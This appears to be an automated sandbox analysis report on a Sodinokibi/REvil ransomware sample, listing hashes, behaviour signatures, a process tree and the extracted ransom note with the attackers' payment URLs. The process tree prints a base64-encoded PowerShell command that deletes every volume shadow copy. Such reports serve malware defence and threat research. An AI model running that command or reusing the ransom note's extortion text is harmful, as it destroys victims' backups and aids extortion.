Overview

overview

10

Static

static

6f2432e4ac...in.exe

windows7_x64

10

6f2432e4ac...in.exe

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    79s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18-07-2020 22:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe

  • Size

    244KB

  • MD5

    f82f4f596705763a3c0124a4675d484e

  • SHA1

    df1e8b4522bc439d338848f9a4d09d5b1c26f5da

  • SHA256

    6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970

  • SHA512

    6a0183c211b53cbaf470bd1ab26c347222850dde0fd529aec544ecdf6ab881f06ea7e3a7432497083ac515fec6c07ffcad89ad79f8687fc44dc60b54e3475dfd

Score
10/10
ransomwaresodinokibipersistence

Malware Config

Extracted

Path

C:\ha7zj-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ha7zj. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9E1CBC3DBF05C027 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9E1CBC3DBF05C027 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: VGGW/+mY1XmRXRJgytr0TLqT6G0fOEFyq6yG/2GC2oYckMEBI06UqzT/4CBAWHJH v0/sp1ZGY2PlYW5BzzkUTx/DpmKRF1cbuxzCtc6qTEMzG4YVagYL0ZLitICS29XR L1zv8/FSmM8ntqykwNv5a/kgkc4ewy6RJUxATPkh3E/c92yUol+NtG03BYO1wvLP N/fh84U+eG9K7d7V1/sLY/YSVXUan9TUeW4PObRcwmj10WqBNliKwGOozpKtAxA+ KPu+nY21wMdvnqpmwUr2MNzzkZIPEPa8RYMT5rgY1KRWT8NvjI7ef+pGYIGOuSve fVJGvjUvF3GGLbdKk+GdjJRHEycI6jEDFgeDigLEnsgit1LNcYqfey1ouqJOg3Wc PtzcyhTdzEalQygWSNpJcwC3z+LvKgM5q0sOYM4rn9F60tvF84VrLxqn5LXdNi3/ UtGjlM6fAaklWSm6UIHpBTPIXsG//aZfxtPpAjuuavYMdFM/9uT6z4MB9orxLZNN 0wj7JJiWEV8Ut6jgteSlL10rPeEvMGP8d3Q8K+TKBozHOAQo8t9sNMYyQ5KPoVSR O9RmIXE4xx8sstE8CgE00uK+2Gw5GYn7LuSbjKKFdVlRVIt4NNyDE14P4bMYYsN4 YFTnwr764+nXyEWIBuffdbfNIxKViP6cBvAGGetJTnlEwhWMYdBoxHG4EnfHHpNM NBYRKoUys7TMPb6VsWeTA/na9enNpY2jHxGfq5RhnutNs7dw4aLDBml4VF7zhBCl yWmc7v1S10sE5Xs8Wr6Yn7C3RnO+kj0dK2b5TPP+3ggboW2VU83ywFij0ZkmD2gZ JMBSUpSDo21YHTmH0AakoG+8KvPbfLRcyo3j1Qc8Y22zyyZqr7rDIq8SOVvx144m j/8D8JZy2MdXEKDEqM8KvTUxL9RJzkEkUWLykiPfzX7eY19dMToQwOxKV+BZMyaW bXmStvCxlDprj3/kyj6W/rewHxhwhZrIipGeeCW4znSZfzhgVIRQ29NkgEjdbap/ 1MMBJennNcru6EpH2poYQt1AZZyQyCYNYTLiJure8N4Iaz5tYbu5mOD+ObfUasLR VoduL4p6jGC8oVqVfIQVHQla3y9xYNMCKIdKEEaXwrPL8spbm9P1RS4o0dXTufZS cvhtnMt3TTS3Sm9xd+YZNl60f9Dr0iyi8Iag+Ea1aXEO4mkste9N1uH9rNq/NX6j caxtsIEtUz0MuwFCGcFq43QK+N5p7V5ayxFxuK9xWgOILqFLX0Bi0MozGzWlo32X 9mEiAb9l9LHbBNdsQ3F4/hC+gDIted3rVG/Rd5Xr ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9E1CBC3DBF05C027

http://decryptor.cc/9E1CBC3DBF05C027

Signatures

  • Enumerates connected drives 3 TTPs
  • Modifies service 2 TTPs 5 IoCs
    persistence
  • Drops file in Program Files directory 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi

Processes

  • C:\Users\Admin\AppData\Local\Temp\6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\6f2432e4ac98575aa653094123b478bf6c3aa9b00aaad84dfd09045a96d6b970.bin.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Sets desktop wallpaper using registry
    PID:1124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:316
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:912
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Modifies service
      • Suspicious use of AdjustPrivilegeToken
      PID:1800

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/316-2-0x0000000000000000-mapping.dmp

      Download

    • memory/1124-0-0x0000000000D49000-0x0000000000D4A000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1124-1-0x0000000000E30000-0x0000000000E41000-memory.dmp

      Filesize

      68KB

      Download